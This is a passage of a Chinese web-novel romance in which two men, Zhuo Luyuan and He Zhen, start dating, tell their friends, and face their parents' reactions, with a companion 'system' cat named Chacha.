卓鹭元开会的时间到了,一步三回头的看着贺真,最后还是在对方的安抚下去了会议室,听着其他人讨论公司和项目的下一步计划。 多亏了有贺真帮忙,现在他们手里证据齐全,只等着公布出来洗清自己身上的脏水,顺便利用这个时机进行宣传,说不定能因祸得福引起关注。 卓鹭元撑着头听着员工们讨论,心思却悄悄飞回了办公室,脑海里忽然灵机一闪,差点在会议中笑出来。 贺真现在正在办公室里等着他回去,这让卓鹭元莫名有种金屋藏娇的错觉。卓鹭元本来打算等到过几天吃饭的时候再告诉盛俊文这个消息的,最后到底没忍住,悄悄拿出手机给盛俊文发了一条消息:你也老大不小了,抓紧时间谈个恋爱吧,谈恋爱的感觉还不错。 盛俊文的回复来得很快,甚至直接给卓鹭元回了个电话,卓鹭元忘记调静音了,手忙脚乱地挂断电话,看到了盛俊文发来的消息:我靠,你和贺真还真在一起了?! 盛俊文:老实交代!!! 第59章 第 59 章 “你怎么突然结束了…… “你怎么突然结束了休眠模式?”贺真坐在卓鹭元的办公室里, 看着重新活蹦乱跳的茶茶问道。 “嘿嘿,当然是因为宿主很厉害啦!”茶茶得意地挺起胸膛, 对贺真解释:“本来茶茶是在休眠状态没错,但是突然接到系统提示,宿主成功让一位女配放弃对主角的追求,所以茶茶又有能量醒来啦!” 贺真一愣,茶茶说的女配,会是郑曦吗?可是那天郑曦来找他的时候, 他并没有对她说过什么话,那就只有一种可能,郑曦觉得自己帮不上卓鹭元, 所以真的放弃了。 贺真心里有些怅然, 郑曦是个很好的女孩, 希望以后她可以遇到真正能让她开心的人吧。 卓鹭元有了男朋友之后的日子过得越来越舒坦,尤其是这还算他的初恋,终于体会到了其他小情侣抱着手机腻歪着打电话是什么感觉。 等到公司的事情处理得差不多,卓鹭元马上给自己放了几天假,和贺真找各种地方约会,连以前不怎么喜欢运动的卓鹭元都陪着贺真去游泳了。 卓鹭元看着贺真脱了上衣后露出的腹肌, 没忍住伸手摸了上去。早就知道贺真身材好,没想到这么好,这谁摸了不得迷糊。 贺真被卓鹭元摸得有些意动,伸手阻止那只还想继续作乱的手:“你确定要在这里撩拨我?” 卓鹭元原本被打断还有些不悦,抬头看到贺真某处后突然老脸一红,默默把手收了回去,低声说:“是不太好哈。” 贺真深呼吸一下,将卓鹭元从背后揽进怀里, 像只大狗一样趴在他的颈窝:“你和他们约了几点?” 明明卓鹭元在水里,可是和贺真相贴的那块皮肤却热得发烫,搞得他一时间思绪都乱了不由得怀疑对方是故意的:“八点,刚好等会我们吃完饭直接过去喝酒。” 为了防止盛俊文说他重色轻友,他已经提前和他通过气了,但其他几个人就没有了,卓鹭元准备给他们一个惊吓。 茶茶在不远处套着游泳圈划水,脸上不知道从哪 贺真看着心里小算盘打得啪啪响的卓鹭元,不动声色地看向怀里人,心里不知道在想些什么。 自从卓家出事后就沉寂下去的小群,因为卓鹭元的消息再次活跃了起来,所以当卓鹭元约大家喝酒的时候,他们想也没想地就答应了,只当是庆祝卓家起死回生,只有知道真相的盛俊文保持了沉默。 贺真和卓鹭元刚进酒吧,卓鹭元就听到自己头顶砰砰两声,是李尚乐和杨一群这两个活宝搞来的拉炮,卓鹭元和贺真猝不及防,这会儿连头顶都沾着亮片。 卓鹭元抖掉身上的亮片,贺真伸手拿走了他头顶的亮片,听见卓鹭元说:“好啊,你们俩还搞突然袭击,吓我一跳。” “嘿嘿,这不是开心吗,当然得有点仪式感了。”李尚乐手里的拉炮还有一个,卓鹭元伸手挡在自己面前,李尚乐只好朝着天花全放了,权当给大家听个响。 “你也就这种时候有用了。”杨一群感慨道,没想过卓家的事情会有这么戏剧性的反转,下一秒就被李尚乐敲了头:“胡说八道什么,我可比你强多了。” 卓鹭元本来没想一上来就说他和贺真的事,但贺真今天却对他比前两天还照顾,几个人就是再迟钝也发现不对了。 亮子好歹是谈过女朋友的,顿时怀疑地看向卓鹭元:“你们两个什么时候关系这么好了?我怎么看着有点不对劲?” 卓鹭元嘿嘿一笑,看了一眼贺真说:“你们怎么知道我和贺真在一起了?” 盛俊文:“……” 其他几个人:“……” 最先反应过来的居然是李尚乐:“不是吧,你居然弯了?什么时候的事啊!”他以前也没听说过卓鹭元喜欢男人啊,相反,因为以前也有男人骚扰过他,他看卓鹭元当时还很不耐烦呢。 杨一群也觉得不可思议,他一直以为卓鹭元只是单纯地不想谈恋爱,结果突然丢了个大炸.弹过来,还是他们的另外一个朋友。 不过比起这个,另外两个人的反应更让他在意:“我说,为什么你们两个人好像一点也不惊讶的样子?” 杨一群怀疑的目光扫过盛俊文和亮子,觉得他们两个人有点可疑。 “谁说我不惊讶了?”亮子之前和盛俊文一起在gay吧前碰到过贺真,虽然当时他没和盛俊文说什么,但心里多多少少有点怀疑贺真的取向。 刚才听到盛俊文的话,他才反应过来当时盛俊文口中的“我有一个朋友”原来就是卓鹭元,盛俊文根本就是替卓鹭元去盯人的。盛俊文这家伙,还瞒着不和他说呢。 盛俊文看几双眼睛都盯着自己,连忙和卓鹭元撇清关系:“不是我要瞒着你们,是元儿和我说要给你们一个惊喜的,这可不怪我啊。” 这也算惊喜吗! 杨一群忍不住吐槽:“你这是给我们惊吓才对吧。老实交代,你们两个怎么勾搭上的?”李尚乐和杨一群一副逼供的样子看着卓鹭元,看得卓鹭元不自觉地向贺真身边挪了一些:“干什么,我可是凭实力找到男朋友的,羡慕的话你们也可以找呀。” 谁让贺真是他的青梅竹马呢,嘻嘻。 贺真安抚性地握住卓鹭元的手,对几人笑了笑:“我喜欢鹭元很久了,也是我追的他。本来我是想等相处久一点再和他说的,但是这次卓家出了这么大的事,我不想耽搁了。这次请大家喝酒,希望大家能祝福我们。” 什么嘛,明明是卓鹭元先问他的,早知道是这样他就让贺真表白了。卓鹭元心里有些遗憾,但是嘴上却没说出来,其他人纷纷拿起酒杯和两人碰了一下,卓鹭元的酒被贺真换成了果汁。 前段时间卓鹭元酒喝得太多,所以和贺真在一起之后,对方坚决不允许他再喝酒,卓鹭元也没反对,反正他最近也不想喝酒了。 “既然你都决定了,那兄弟当然是祝福了。”盛俊文率先拿起酒杯碰了碰,亮子和李尚乐他们对视一眼,既然卓鹭元都已经决定了,那他们也不会多说什么。 只是这条路到底和他们走得都不一样,而且两家人身后还有公司,盛俊文难免有些担忧:“元儿,你爸妈那边打算怎么办?” “先放一放吧。”卓鹭元也不是想瞒着爸妈,只是觉得现在不是时候:“我爸的病才刚好一点,我妈这段时间也没休息好,还是过段时间再说比较合适。” 贺真也是同样的想法,两家公司最近都遭遇了不小的波折,还是暂时先别告诉他们了。卓鹭元不能喝酒,贺真连带着卓鹭元那份没少喝,终于招架不住说自己要去趟厕所:“你们先喝。” 贺真一走,盛俊文就凑到卓鹭元旁边坐下,语重心长地说:“元儿,这条路可不好走,你就认定是他了?” 卓鹭元看盛俊文问得认真,自己也跟着正色道:“嗯。”他以前也没想过有一天他会这么确定地喜欢上一个男人,还是他小时候不怎么喜欢的人。 盛俊文看他答应地坚决,虽然觉得贺真应该不会像卢俊城一样,但难保人心易变,看贺真没回来,低声对他说:“咱俩从小玩到大,我也不怕劝了你之后你和我翻脸,凡事还是要小心一点。” 卓鹭元的开心淡了一些,但也知道盛俊文是好意:“可我愿意相信他。我家出事的时候,他明明有机会和其他人一样逼我,对我使那种巧取豪夺的手段,可是他没有。” 贺真不仅没有那么做,反而用那个承诺换了自己一天开心,还在他不知道的时候做好了帮他的准备。所以从那一刻起,他就不允许贺真离开了。 但卓鹭元到底有些低落下来,盛俊文懊悔自己不应该在今天提这个事儿,看贺真回来,连忙提议道:“咱们这也算逢凶化吉,要不明天咱们到山上露营去?最近好像有流星雨,咱们带点东西上去,还能自己烧烤。” 李尚乐嫌山上蚊子多,有些不乐意:“别了吧,我从小可招蚊子了。” “那你更得去了,这样蚊子就不咬我们了。”杨一群没心没肺地搂住李尚乐的脖子,半威胁地低声对他说:“你没看卓鹭元心情不好,你就当出去散心了,花露水我包了。” 贺真看向卓鹭元,用目光征询他的意见,卓鹭元打起精神点了点头:“也好,咱们一块出去玩,还能散散心。” 几个人约好明天见,贺真喝了酒不能开车,今天难得是卓鹭元带他回去。只是卓鹭元想回别墅区的时候,贺真却压住了他的手:“我有东西落在香榭丽景的房子了,先去一趟那边吧。” “什么东西这么重要。”卓鹭元嘀嘀咕咕的,手却和诚实地朝着贺真说的地方开了过去,让贺真上去拿东西。 贺真凑过去亲了卓鹭元一口:“这么好的男朋友,留在外面我怕被人偷走了,和我一起进来好不好,鹭元哥哥?” 卓鹭元大脑断电,下意识跟在贺真身后,回味着那句鹭元哥哥。他发现贺真喝醉酒之后十分坦诚,说话做事比平时冷静的样子更添几分性感,连带着酒气的吻都不觉得有什么了。 只是卓鹭元刚一进门,整个人就被贺真紧紧抱在怀里,迎接他的是比以往任何时候都要热烈的吻,卓鹭元招架不住,两只手下意识圈住贺真的脖子,承受这狂风暴雨的吻。 贺真看他喘不上气,将人微微松开,伏在卓鹭元的颈窝里咬着他的耳垂,声音低沉又性感:“这个房子是我背着爸妈买的,我想每天醒来都能看到鹭元哥哥,可以吗?” 贺真见他不答话,抵住他的额头对他说:“鹭元,未来或许有一万种不确定,但只要有一丝机会,我就会尽全力抓住那个可能,把他变成现实,我爱你。” 他其实不是一个很会说话的人,以前被人在网上骂也只会傻傻地想着用事实证明。可唯独这一次,他想让卓鹭元知道自己的心意。 卓鹭元看着对方认真又热烈的眼神,那像是在坚冰中燃烧着的一簇火苗,贺真正试图把这簇火苗捧到卓鹭元面前,卓鹭元心里颤动,忽然搂住贺真吻了回去。 他怕什么,他可是天不怕地不怕的卓鹭元啊! 贺真得到信号,将人抱起来往卧室走去,亲吻逐渐沿着锁骨蔓延而下,手指却像向上攀岩的藤蔓,似乎想与对方永远缠绕在一起,永不分离。 这天晚上卓鹭元算是成功检验了贺真的锻炼成果,整个人像风雨中飘摇的小船,只能随着海浪起伏,直到深夜才风平浪静,安静地靠在贺真的臂弯里沉沉睡去。 第二天卓鹭元是被电话铃声吵醒的,他迷迷糊糊地摸着手机接起电话,还不等他开口,盛俊文元气满满的声音就传了出来:“不是说好去露营,你和贺真怎么还没到?” “等我三……” 卓鹭元一开口才发现自己的沙哑的声音,清了清嗓子,盛俊文却有些听不清:“等你三什么?三十分钟还是三个小时?要是三个小时我可就走了啊,你自己慢慢来吧。” 卓鹭元想翻身,略微动了动,腰上的酸痛却仿佛在嘲笑他一样,卓鹭元下意识捂着腰闷哼一声,沙哑着声音说:“三天……” 盛俊文:??? 盛俊文瞪大眼睛看着自己被挂断的电话,心里有些崩溃。 不是哥们,你在干什么呢! 第60章 第 60 章 “怎么样,还难受吗…… “怎么样, 还难受吗?” 贺真伸手揽过卓鹭元,一只手按在他的腰侧轻轻揉着, 问他:“这个力度可以吗?” 卓鹭元在他手上狠狠拧了一把,沙哑着声音问他:“贺真真,你反了天了是不是?”昨天他都喊贺真的名字让他停下来了,结果是不是喝了酒的原因,这人左耳朵进右耳朵出,折腾到半夜才停下。 贺真捂着被拧的手, 凑过来蹭了蹭他:“我太开心了,一时没忍住,以后不会了。” 卓鹭元才不信他, 翻了个身裹着被子还想睡, 贺真搂着人在他耳边哄道:“元元, 先起来吃点东西再睡好不好?” 卓鹭元伸手捂住他的嘴,却反被贺真在掌心亲了一口,卓鹭元瞪他一眼:“不许你叫我那个名字。”昨天两个人第一次开荤,贺真带着醉意几乎将卓鹭元的名字叫了个遍,尤其是“元元”这个小名,他听了总有种莫名地羞耻, 根本难以招架。 “为什么?”贺真故作不解:“可是鹭元哥哥昨天似乎很爱听,而且这个小名很可爱。” “你还说?”卓鹭元看了一眼得寸进尺的贺真,把脸藏进被子里:“我想喝粥,你去给我煮粥,我再睡会。” 贺真看他累得厉害,一时有些心虚,帮他掖好被子之后起床去洗漱:“早餐好了我来叫你。” 贺真走后,卓鹭元慢慢睁开双眼, 想到昨天晚上发生的事,害羞的同时心里又有了些不一样的感觉,于是伸手掐了一把自己的脸,感觉到疼之后才回过神来。 真的不是梦啊。 贺真这里的房子没有请阿姨,但有人会定期过来整理和补充物资,所以贺真准备自己动手做早餐。他厨艺一般,但做个早餐还是可以的。 茶茶亦步亦趋地跟在贺真旁边起哄:“宿主宿主,昨天晚上茶茶好像又看到马赛克了,你有什么头绪吗~” 贺真不理它,茶茶反而更来劲了:“哇,宿主还会做早饭,宿主好厉害哦!” 贺真忍不了它,伸手把茶茶提起来:“你的话太多了。” 茶茶被贺真提着后颈也不挣扎,眨巴着圆圆的猫眼:“宿主再不做早饭,男主就没有饭吃了哦。” 贺真淡淡地看它一眼,准备等他忙完再收拾这只皮得不行的假猫。因为茶茶确实帮了贺真不少忙,加上和卓鹭元在一起后贺真最近心情都不错,所以对那只尾巴快翘上天的茶茶也只当睁一只眼闭一只眼,谁知道它现在这么得寸进尺。 或许是下意识感觉到了危险,茶茶抖了抖毛,转着眼珠谄媚地笑着:“要不茶茶帮宿主去淘米吧?” 贺真看它一眼,忽然放开手,算是同意了这个提议,一人一猫在厨房安静地做着早餐。 茶茶不熟练地打开水龙头,边忙边问贺真:“宿主,你真的决定留在这个世界和主角在一起啦?” “嗯。”贺真没有犹豫:“其实我在另外一个世界也几乎没什么亲人了。我爸妈离婚以后我妈有了自己的新家庭,我去打扰不合适。” 他曾经远远地看过那一家人和自己同母异父的妹妹,他们看起来很幸福,他不想去破坏别人平静而幸福的生活。 而且他也找到自己的幸福了。 茶茶似懂非懂地点点头,贺真不知道为什么忽然它会问这个问题,于是也顺势把自己的疑惑也问了出来:“我一直想问你,如果我的任务完成了,那你会去哪里?” 茶茶晃晃尾巴:“大概会去带下一个宿主?茶茶也不知道,宿主还是我带的第一个呢。不过等到宿主和主角的感情稳定之后,大概茶茶就会离开了?” 贺真手一顿,扭头看向茶茶:“这么快吗?” 茶茶自己也不是十分清楚,用后爪挠了挠头:“其实也没有啦,因为主系统结算还需要一段时间,所以茶茶还是会陪着宿主的!” 贺真一时间没有说话。他对茶茶的感情很复杂,既反感主系统的指手画脚,同时又舍不得帮了他许多,还用私房钱帮他买道具的茶茶。现在他逐渐习惯茶茶的陪伴,茶茶却要走了,贺真心里有些怅然。 不过贺真通常什么情绪都不会写在脸上,所以茶茶也没发现。 卓鹭元住在这里,这几天几乎一有时间就和贺真腻歪在一起,准确地说是被腻歪在一起,自己也逐渐食髓知味,喊贺真去做事也逐渐习惯起来,几乎过上了小皇帝一般的生活。 自己家儿子一连几天不回家,卓父卓母敏锐地发现了不对,打电话旁敲侧击问他是不是谈恋爱了。 卓鹭元没说不是,含含糊糊地准备糊弄过去,挂了电话又拉着贺真去逛超市:“家里没零食了,你陪我去买。” 贺真当然是点头答应,两个人一起去了不远处的超市。只不过贺真心里觉得不太对劲,总有一种被人窥伺的感觉,转头时却没发现有其他人在。 贺真怕自己说了之后卓鹭元会多想,于是没告诉他这件事,回家后却听对方说:“我准备回家住几天,到时候你要每天给我打电话。” “为什么,住这里不好吗?”贺真马上抱住卓鹭元,企图用美色诱.惑对方:“这里有我照顾你,你不是也很喜欢吗?”贺真拉住卓鹭元的手放在自己腹肌上,他早就知道卓鹭元很吃这套,茶言茶语张口就来。 卓鹭元老脸一红,轻咳一声:“胡说什么,我是那种人吗。”话虽这么说着,卓鹭元的手却没放开,还光明正大的摸了一把,自己的男朋友摸摸又怎么了。 不过卓鹭元怕贺真不开心,他好歹比他年龄大一点,怎么说也是哥哥,所以还是好声好气地和贺真解释:“我爸妈最近不是总问我是不是谈恋爱了嘛,我不是想藏着你不公开,只是想等他们两个缓过这一阵再说,所以回去稳定一下他们俩的军心。你要是想我了,可以给我打电话呀。” 打电话怎么能和他真人比。贺真抱住卓鹭元不撒手,用行动表示拒绝。卓鹭元其实也不想分开,想了想和贺真商量:“要不…你来我家找我玩?你帮了我们家那么大一个忙,我爸妈应该很喜欢见到你吧?要是你觉得尴尬,那就偷偷来,我给你开后花园的门。” 卓鹭元越想越觉得可行,眼睛亮晶晶地:“而且你家离得又那么近,多方便嘛,好不好?” 他都这么说了,贺真也只能答应了。 卓鹭元欢天喜地收拾着自己的东西,全然没看到贺真复杂的眼神。他都快三十岁了,居然还有机会经历这种为爱翻墙的事,而且他还甘之如饴。 卓鹭元一回到家就被爸妈抓住了,卓父情绪复杂地问卓鹭元:“儿子,你最近总不回家,这是有对象了?” 卓鹭元打着太极回答:“哎呀,时机到了你们就知道了。” 卓母的担心和卓父不太一样,试探着问他:“那你们进行到哪一步了?有没有……” 卓鹭元意识到卓母指的是什么事,移开目光轻轻点了点头。卓母松一口气的同时又有些担忧:“儿子,你可要注意着点,万一对方要是真有什么了,该负的责任咱得负。” 卓鹭元想他才不会呢,摆摆手往自己房间跑:“哎呀,你们俩别多想了,到时候会带来让你们见面的。” 他快步跑回楼上,掏出手机给贺真打电话:“我回来了,我爸我妈还一直问我们两个的事。我妈挺操心的,还担心会不会让别人怀孕,我们俩才不可能呢。” 贺真笑了一声,问他:“那你喜欢小孩吗?” 卓鹭元摇摇头:“不喜欢,我嫌吵闹。等等,贺真真,你该不会想有个自己的小孩吧?”之前他还真没问过这事,虽然他信任贺真,但他如果真有这种想法还不提前告诉他,那他真的会很生气。 “想什么呢,”贺真的声音很温柔:“我有你这一个大宝贝就够了。”卓鹭元又聪明又可爱,追他的人能从这里排到F国,他每天光是守着防止被人撬墙角就够了。 “这还差不多。”卓鹭元甜滋滋地说:“你今天来找我吗?” 卓鹭元问完以后才后知后觉地有些害羞,自己才回来第一天,他就迫不及待想见到贺真了,万一贺真嘲笑他怎么办。 贺真却十分自然地答应了下来:“那要看有没有好心人给我留门了。” “当然有啦!” 卓鹭元愉快地抱着手机回消息,晚饭也吃得漫不经心,一副坠入爱河的样子看得卓父牙根痒痒。卓父一想到自己养了二十多年水灵灵的大白菜去拱别人家的白菜,还是这副恋爱脑的样子,就看卓鹭元浑身不对劲。 卓父本来想等卓鹭元吃完饭和他好好聊聊,结果卓鹭元回消息回得太专心,吃完就溜回房间继续摆弄手机,没让卓父找到机会。 卓父气闷,卓母拍着他的后背劝他:“你气什么,刚好一点小心再把自己气晕过去。孩子长大了,有自己的想法,他想说了自然会说的。” 卓父也知道这个道理,但他就是觉得不得劲。卓母挽住他的胳膊说:“行了,我陪你在花园走走,刚好消食散心。你呀,一天到晚操不完的心。” 卓父点点头,两个人走到花园时,忽然看到花园里一闪一闪亮着光,好像是手机的光? 卓母有些害怕地抱住卓父的胳膊:“老卓,你说这是不是进贼了?”这贼胆子还挺大,偷东西还敢开手电筒。 卓父也瞬间警惕起来,拍了拍卓母的手,悄悄走到工具房从里面摸了一把扫帚拿在手上,朝着光亮处走过去。 “小贼”贺真还在门口等着,卓鹭元一只手拿着钥匙,另一只手拿着手机,实在不太好操作,着急地把手机塞给贺真:“帮我打光,要不然一会儿我爸妈该看到了。” 贺真接过手机给他打光,顺利进来了,卓鹭元连忙把门重新关好,这才松了一口气:“我们家这锁可麻烦了,电子锁和物理锁都有,不过还好见到你了。” 贺真抱住卓鹭元,两个人没忍住吻在一起,卓父的扫帚却向他打了过来:“哪来的贼,敢上我们家偷东西……儿子?” 卓鹭元愣神的时候,贺真已经拉着他躲开了卓父那一下,把人拉过来看有没有受伤。卓鹭元摇摇头,有些心虚地看着卓父:“……爸” 卓鹭元手机的手电筒没关,卓父卓母也看到了和卓鹭元亲吻的另外一个主人公,顿时气不打一处来。 他就说呢,怎么刚才看卓鹭元对面那个人影比他儿子还高一截,他这是把猪放进自己家拱白菜了啊,还是一只自己认识多年近水楼台的猪,怪不得他不敢说呢! 贺真也有些紧张,他还是第一次经历这种场面,说话也难得变得支支吾吾:“伯父,我不是故意的,你听我解释……” 卓父正在气头上,甚至哼笑一声说:“好啊,我今天就听你解释,你为什么大半夜地走我们家后门,还和我儿子抱在一起?” 贺真语塞,没想到卓父这么不按常理出牌,想了半天也只能干巴巴地解释一句:“因为正门锁了,我进不来。” 卓鹭元:“……” 卓父:“……” 卓母:“……”【你现在阅读的是 】 60-67 第61章 第 61 章 贺真和卓鹭元两个人…… 贺真和卓鹭元两个人坐在卓家的客厅里, 卓鹭元不安地偷偷抬眼看着卓父,小声试探:“爸……” “闭嘴!” 卓父正在气头上, 卓母拍了拍他,在他后背顺了两把:“好好说,你自己的身体你还不知道吗?” 卓父压着怒意问卓鹭元:“你们两个是什么时候的事?”他们两家住得近,最近两家杂事也多,卓父竟然一直没发现这两个孩子私底下看对了眼,自己儿子还胳膊肘朝外拐, 企图把贺家那小子偷偷放进来私会,卓父想想就觉得肝疼。 “就……前段时间的事,本来也没想瞒着你们两个, 这不是看你才出院, 想让你好好休息嘛。”卓鹭元心虚地回答。 “怎么, 我还得谢谢你关心我?”卓父气笑了,目光又转向贺真,怎么看怎么不得劲。以前他看贺真哪里都好,性格沉稳年少有为,还暗戳戳地想让卓鹭元和他学学,谁知道两个人学到一块去了! 卓父越看他越不顺眼, 冷哼一声:“你们两个是谁追的谁?” 贺真抢先接过话茬:“是我追的鹭元。” 听听,叫得多亲热。卓父想到卓鹭元之前说的该发生的都发生了,心里更难受了:“小贺你先回去吧,我们家今天有点重要的事,就不留你作客了。” 卓鹭元闻言担心地看着贺真,贺真却也知道今天不是一个好的时机,悄悄握住卓鹭元的示意他放心,站起身来对卓父卓母道别:“那我先走了。伯父伯母, 改天见。” 卓鹭元有些依依不舍地看着贺真,卓父忍了忍,到底没忍住说卓鹭元:“就这么喜欢?眼睛都快要黏到人家身上去了!我就不明白了,你为什么放着那么多好姑娘不喜欢,偏偏看上一个男人!” 和卓鹭元同龄的人,除了他那圈不争气的朋友,剩下的几乎都成家立业了。但卓父卓母心疼卓鹭元,虽然嘴上一直催他,但到底没多做什么。可他居然看上一个男人,这让他们卓家以后怎么办! 卓鹭元为自己解释:“她们好是她们的事,我又不喜欢他们。我就喜欢贺真。”卓鹭元最后一句话说得小声,但卓父还是听到了,冷哼一声:“你和贺真的事我不同意,贺家那边我去说,以后不许来往了。你现在慢慢步入正轨了,还是正事要紧。” 卓鹭元据理力争:“爸,我说了我不喜欢其他人,难道你想让我去骗别人家的女孩吗?我做不到,我不会和贺真分开的!” 卓鹭元也觉得委屈,他好不容易找到一个这么喜欢的男朋友,他爸两句话就想让他们分手,他才不乐意呢!卓鹭元气冲冲地上楼跑回自己的房间,锁上门把自己闷在屋子里。 卓父用手指头点着卓鹭元的背影,对卓母说:“你看看他现在成什么样了,连我说的话也不听了!” 卓母叹了口气:“元元的脾气你又不是不知道,认定的事九头牛都拉不回来。尤其是这一回,元元一看就是真对小贺上了心,他以前哪对别人这个样子过?” “那怎么办,难不成真由着他们两个继续这样?”卓父想想就觉得头疼,不知道以后该怎么面对老贺。 卓母劝道:“就你头疼,难道我不头疼?以前元元还没出生的时候我就总开玩笑,说两家以后还能结个娃娃亲,谁知道……唉。要是别人家的孩子就算了,这次小贺还帮了咱们家,于情于理咱们都不能把事做得太难看。” 这也是卓父的顾虑,但眼下也没有什么更好的办法,只能明天去贺家说个清楚了。 卓鹭元抱着手机给贺真打电话,愁云惨淡地对贺真撒娇:“怎么办啊,贺真真,我爸好像生气了。” 自己的儿子喜欢上了好友的儿子,但凡是个正常家长几乎都会一时间无法接受,贺真可以理解卓父的想法。但理解归理解,他是不可能离开卓鹭元的:“没事,交给我吧,你安心睡觉。” “你不在我怎么睡得着。”卓鹭元躺在床上拿着手机,这几天他习惯了贺真陪着自己,突然一个人还真有些不习惯。卓鹭元还在等着贺真的回答,贺真却突然毫无预兆地挂了电话,卓鹭元还有些莫名其妙,结果下一秒贺真的视频就打了过来。 “我开着视频陪你睡觉,你放心睡。”视频那边的贺真似乎刚洗完澡,头发还滴着水,卓鹭元坏心思地戳了戳视频里的小人:“在,看看腹肌?” 贺真有些无奈,但还是把手机拿远了一点,听话地对着腹肌给卓鹭元看,卓鹭元满意了,把手机立在枕头旁边,看着贺真的脸慢慢睡着了。 贺真看着视频对面的卓鹭元闭上眼睛,呼吸逐渐平稳,也随之放下心来,换了睡衣悄悄走出房门,去找了贺父贺母。 原本他没打算这么快和爸妈说这件事,但现在卓父卓母知道了,他就不能继续瞒着爸妈了。即便卓父卓母不同意他和卓鹭元的事,但这种时候态度依然很重要,贺真总不能让卓父卓母觉得自己不重视卓鹭元,连他爸妈都不知道这件事。 贺父贺母有些纳闷,不知道贺真这会找他们干什么,贺母关心道:“怎么了,是不是晚上没吃饱?我去让阿姨给你做点宵夜。” “不是,我有事和你们说,你们先别生气。”贺真有些忐忑,看着贺父贺母对视一眼后,鼓起勇气对他们说:“我和卓鹭元在一起了,伯父伯母已经知道这件事了,大概明天就会来找我们家说这件事。爸妈,我需要你们的支持。” 贺父有些没反应过来,还追问贺真:“一起出去玩吗?那是好事啊!” 贺父说完就被贺母用手在腰上掐了一把,不可置信地说:“你是不是傻,儿子的意思是他和卓鹭元谈对象了!”贺母说完又转头看向贺真,目露担忧:“儿子,这种事可不能开玩笑,我和你爸经不住吓。” 贺真却点点头:“我没有开玩笑,我是在很认真地和卓鹭元谈恋爱,并且以后也会一直在一起。” 贺父平时脾气不错,自从贺真成长起来之后已经修身养性很久了,但此时贺父却暴跳如雷,手掌高高扬起就想打贺真,贺真没有躲的打算,闭上眼睛准备接下来,那个巴掌却迟迟没有落下。 贺真悄悄睁开眼睛看着贺父,却发现贺父脸色铁青,手却早就放了下来,用眼神示意贺真:“前几天有人给我寄了一些东西,你去打开看看。” 贺真不明所以地打开桌子上的信封,猝不及防看到了自己和卓鹭元在前几天逛超市的照片,不仅有搂搂抱抱的,还有两个人购买神秘小盒子的高清放大照片。 贺真:“……” 合着他爸前几天就知道了,憋着气等他坦白呢。贺真干脆利落地认错:“爸,我错了,我不应该瞒着你。” 贺母疑惑地看向贺真手里的照片,大受打击:“贺业明,这么大的事你敢瞒着我?!” 贺父刚摆起来威严慈父的架子瞬间散了个干净,伏低做小和贺母认错:“我这不是怕你看了以后心里着急,想着万一我能解决了,就不用你再操心了嘛,我不是故意的。” 贺真看着这些照片,不出意外应该是来自卢俊城的报复。他看刚才卓父卓母的样子,似乎并不知道这些照片的存在,卢俊城应该是考虑到贺家给卓家注资,所以故意把照片寄给贺父挑拨两家关系,万一能把贺家挑拨撤资就更好了。 贺母气得拧了一把贺父的耳朵,上次贺家的事这人就敢瞒着他,这次居然还敢。 贺真见爸妈有单方面吵起来的样子,马上打断他们:“妈,你改天再收拾爸好不好,明天万一伯父伯母真上门了,求你们帮我。” 贺母总算松了手,看着自己儿子摆了摆手:“你们父子俩都有主意,我管不了。只是儿子,你们到底是两个男人,国外也不是人人都接受,更何况国内?以后你们两个要比其他人承受更多舆论压力,你们想好了吗?” 贺父比贺母心大一点,这些年他就没见过贺真表现出过喜欢谁的样子,要不是他说喜欢卓鹭元,他差点都以为自己儿子不会喜欢上别人了。 再说了,贺真要是真弯了,比起这些年他在国内国外曾见过的那些男人,卓鹭元甚至是天花板级别的合适人选,他刚才也只是想试试贺真是不是认真的而已。 看贺真的反应,估计是对卓鹭元喜欢得不行,那些照片里有几张他都不敢认,他那冷淡的儿子能笑得和太阳花似的,他都没眼看。 唉,好歹两家知根知底,现在也算亲上加亲了。这么多年贺真第一次开口求他们,贺父和贺母也不想拒绝他。 贺父哄着贺母:“我知道你也是担心孩子们,不过他们的事还是交给他们自己决定吧,咱们总不能明知两个孩子在一起,还去骗其他小姑娘和贺真结婚吧?老卓肯定也干不出这种事来,估计就是在气头上。” 贺父说完又给贺真使了个眼色,贺真会意,马上上前挽住贺母的另一只手:“妈,明天伯父伯母肯定十分正式,你帮我挑一套衣服好不好,妈的眼光最好了。” 贺母的气消了大半,脸上的愤怒最终没维持住,瞥了贺真一眼:“双方第一次正式见面,当然要好好重视了!” 贺母说完看了看自己的手表:“等等,都已经十点了?你们父子俩怎么也不告诉我,再晚点睡觉皮肤都不好了!你们父子两个现在给我回屋睡觉,明天必须精神饱满地出现,要不然会被人家说成怠慢的!” 贺母风风火火地回房睡觉,贺真突然叫住他们:“爸,妈,谢谢你们。” 贺父愣了一下,带着贺母回屋休息,嘴里笑骂:“这臭小子。” 第62章 第 62 章 第二天一大早,卓父…… 第二天一大早, 卓父卓母就带着闹脾气一定要来的卓鹭元,一家三口衣着光鲜, 整整齐齐地坐在贺家的客厅里。 贺父看着卓父多少有点心虚,贺真在国外没怎么让他操心过,基本和放养没什么区别。可卓鹭元被老卓他们两夫妻疼得和眼珠子似的,自己儿子又说是他主动追的人,他能不心虚吗? 卓父轻咳一声,斟酌着开口:“老贺啊, 我今天来,是为了我这个儿子的事。我这儿子年轻,不懂事, 做事情荒唐了一点, 但我这个做家长的总不能看着他胡闹。” “我哪里胡闹了。”卓鹭元有些郁闷地小声反驳, 被卓父瞪了一眼后憋着气不再说话。 卓父沉了沉气,对贺父说:“我的意思是让两个孩子断了,以后他们长大了自然会明白我们的苦心。” 卓父心里比较自信,心想贺父和自己一样,都只有这么一个孩子,而且贺家比卓家还家大业大, 总不会任由贺真跟自己家儿子在一起吧? 贺父喝了口茶,没敢对上卓父期待和信任的眼神,含含糊糊地说:“这个事啊,还得慢慢商量,总得听听看两个孩子的意见不是?” 原本卓鹭元听到卓父的话时心里难受得不行,整个人也像霜打的茄子一样在沙发上蔫巴着,忽然听到贺父的话,感觉好像贺父不是很反对的意思? 卓鹭元来劲了, 重新挺起腰板对卓父说:“是啊,老爸,你总得听听我和阿真的想法,反正我不想分开。” “你闭嘴!”卓父才不管卓鹭元说了什么,语气焦急地对贺父说:“他们年轻,一时走了弯路,这可不能听他们的啊!老贺,你可不能糊涂啊!” 贺父见卓父态度坚决,叹了口气和他坦白:“两个孩子的事昨晚贺真都和我说过了,我能看出他对待这件事不是玩玩的态度。我在国外这么多年,什么都见过,这件事上我只希望两个孩子自己能过得好,对我们做父母的来说就够了。” 